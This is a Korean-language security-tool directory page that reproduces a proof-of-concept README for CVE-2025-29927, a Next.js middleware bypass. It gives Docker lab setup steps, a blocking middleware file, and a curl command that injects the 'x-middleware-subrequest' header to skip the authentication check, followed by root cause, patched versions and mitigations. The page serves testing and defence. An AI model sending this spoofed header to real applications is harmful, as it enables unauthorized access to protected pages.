Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-29927-Nextjs-Bypass-PoC — CVE-2025-29927에 대한 개념 증명(PoC)으로, Next.js 13.5.9 이전 버전에서 미들웨어 우회를 시연합니다. | Kitploit
도구/GitHubGitHub/danielhallbro/cve-2025-29927-nextjs-bypass-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationLearning & Education
GitHubdanielhallbro/cve-2025-29927-nextjs-bypass-poc

CVE-2025-29927-Nextjs-Bypass-PoC

CVE-2025-29927에 대한 개념 증명(PoC)으로, Next.js 13.5.9 이전 버전에서 미들웨어 우회를 시연합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
16개월 전아직 검토되지 않음

PoC: CVE-2025-29927 - Next.js 미들웨어 우회

이 저장소는 내부 HTTP 헤더와 관련된 취약점을 악용하여 **Next.js(v13.5.6)**의 미들웨어 보안 검사를 우회하는 방법을 보여주는 개념 증명(PoC)입니다.

취약점 개요: CVE-2025-29927

무엇인가?

CVE-2025-29927은 Next.js 1.11.4 및 12.3.5, 13.5.9, 14.2.25, 15.2.3 이전 버전에서 발견된 미들웨어 우회(Middleware Bypass) 취약점입니다. 이를 통해 외부 공격자는 개발자가 middleware.ts 파일에 구현한 인증, 봇 감지, 지리적 위치 리디렉션과 같은 보안 로직을 건너뛸 수 있습니다.

근본 원인: 헤더 신뢰

Next.js는 서로 다른 아키텍처 계층 간 통신을 위해 내부 HTTP 헤더를 사용합니다. 그중 하나가 x-middleware-subrequest 헤더입니다.

이 취약점은 취약한 버전의 Next.js가 브라우저나 curl과 같은 외부 클라이언트가 보낸 경우에도 이 헤더를 신뢰하기 때문에 발생합니다. 서버가 이 헤더를 확인하면 요청이 이미 미들웨어에 의해 처리되고 "통과"된 것으로 간주하여 보안 코드 실행을 완전히 건너뜁니다.

영향

  • 인증 우회: 애플리케이션이 로그인 토큰을 확인하기 위해 미들웨어에 의존하는 경우, 공격자는 이 검사를 우회하여 보호된 페이지에 접근할 수 있습니다.
  • 보안 필터 우회: 악성 IP 또는 사용자 에이전트를 차단하기 위한 모든 로직이 무시됩니다.
  • 정보 공개: 제한되어야 하는 내부 경로에 대한 접근이 가능해집니다.

환경 설정

이 실습 환경은 깨끗하고 재현 가능한 환경을 보장하기 위해 Node:18-alpine Docker 컨테이너 내부에서 실행됩니다.


1단계 – 컨테이너 생성

먼저 명명된 컨테이너를 백그라운드에서 실행합니다. 구성 중 컨테이너를 계속 실행 상태로 유지하기 위해 sleep infinity를 사용합니다.

나중 단계에서 컨테이너를 다시 시작할 때 몇 가지 문제가 발생했기 때문에 sleep infinity를 선택했습니다.

root@kitploit:~
docker run -d -p 3000:3000 --name CVE-2025-29927-Lab node:18-alpine sleep infinity
1단계

2단계 – Next.js 13.5.6 설치

특정 취약 버전의 Next.js를 설치합니다. --src-dir false 플래그를 사용했음에도 프레임워크가 src 디렉터리를 생성하며, 미들웨어를 활성화하려면 해당 디렉터리에 미들웨어를 배치해야 합니다.

root@kitploit:~
docker exec -it CVE-2025-29927-Lab npx --yes [email protected] lab --typescript --tailwind --eslint --app false --src-dir false --use-npm
2.1단계
2.2단계

3단계 – "게이트키퍼"(미들웨어) 생성

보안 장벽을 시뮬레이션하기 위해 middleware.ts 파일을 생성합니다. 이 미들웨어는 들어오는 모든 요청을 401 Unauthorized 상태로 차단하도록 구성됩니다.

root@kitploit:~
# Enter the container shell
docker exec -it CVE-2025-29927-Lab sh

# Create the middleware file inside the src directory (One long command)
echo "import { NextResponse } from 'next/server'; export function middleware() { return new NextResponse('Blocked', { status: 401 }); } export const config = { matcher: '/:path*' };" > lab/src/middleware.ts
3단계

4단계 – 서버 시작

개발 서버를 시작하고 콘솔에서 ✓ Ready 신호를 기다립니다.

root@kitploit:~
# While still in the container shell from Step 3 - run below command.
cd lab && npm run dev
4단계

5단계 – 검증 및 익스플로잇

호스트 머신에서 새 터미널 창을 엽니다(이전 터미널은 종료하지 마세요). curl을 사용하여 환경을 테스트합니다.

1. 일반 요청 (차단됨)

헤더를 수정하지 않은 일반 요청은 미들웨어에 의해 정상적으로 감지되어 차단됩니다.

root@kitploit:~
curl.exe -I http://localhost:3000/
# Expected Response: HTTP/1.1 401 Unauthorized

2. CVE-2025-29927을 통한 우회 (익스플로잇)

내부 헤더 x-middleware-subrequest: src/middleware를 주입하여 Next.js가 요청이 이미 내부 프로세스에 의해 검증된 것으로 믿게 만듭니다. 서버는 미들웨어 실행을 건너뛰고 전체 접근을 허용합니다.

root@kitploit:~
curl.exe -I -H "x-middleware-subrequest: src/middleware" http://localhost:3000/
# Expected Response: HTTP/1.1 200 OK
5단계

완화 방법

CVE-2025-29927로부터 애플리케이션을 보호하려면 현재 사용 중인 메이저 릴리스에 해당하는 패치 버전으로 Next.js를 업그레이드해야 합니다:

1. 권장 업데이트

이 취약점은 다음 버전에서 해결되었습니다. package.json이 최소한 다음 버전을 반영하도록 하세요:

  • Next.js 15: 15.2.3 이상으로 업그레이드하세요.
  • Next.js 14: 14.2.25 이상으로 업그레이드하세요.
  • Next.js 13: 13.5.9 이상으로 업그레이드하세요(이 PoC에서 사용된 버전).
  • Next.js 12: 12.3.5 이상으로 업그레이드하세요.
root@kitploit:~
# Example for updating to the latest patched version
npm install next@latest

2. 인프라 수준 방어

즉시 업그레이드가 불가능한 경우, WAF(Web Application Firewall) 또는 리버스 프록시(예: Nginx, Cloudflare, Varnish)가 요청이 Next.js 애플리케이션 서버에 도달하기 전에 모든 외부 요청에서 x-middleware-subrequest 헤더를 제거하거나 차단하도록 구성해야 합니다.

3. 검증

업그레이드 후에는 5단계의 익스플로잇 명령을 다시 실행하여 수정 사항을 확인할 수 있습니다. 패치된 서버는 스푸핑된 헤더가 있을 때 더 이상 200 OK를 반환하지 않습니다.


결론

이 취약점은 Next.js가 내부 하위 요청을 식별하기 위해 클라이언트 측 헤더를 신뢰하기 때문에 존재합니다. 이를 완화하려면 Next.js를 외부에서 들어오는 트래픽의 내부 헤더를 적절히 검증하거나 제거하는 버전으로 업데이트해야 합니다.

고지: 이 PoC는 교육 목적으로만 제공됩니다.

참고 자료

  • NVD 공식 항목: CVE-2025-29927 상세 정보 - 영향을 받는 버전 13.5.1~13.5.8 및 13.5.9 수정 사항을 확인합니다.
  • GitHub 보안 권고: GHSA-65p9-6799-7872 - 미들웨어 우회에 대한 원본 권고.
  • Next.js 보안 릴리스: Next.js 블로그 - 보안 패치에 대한 공식 발표.
도구 다운로드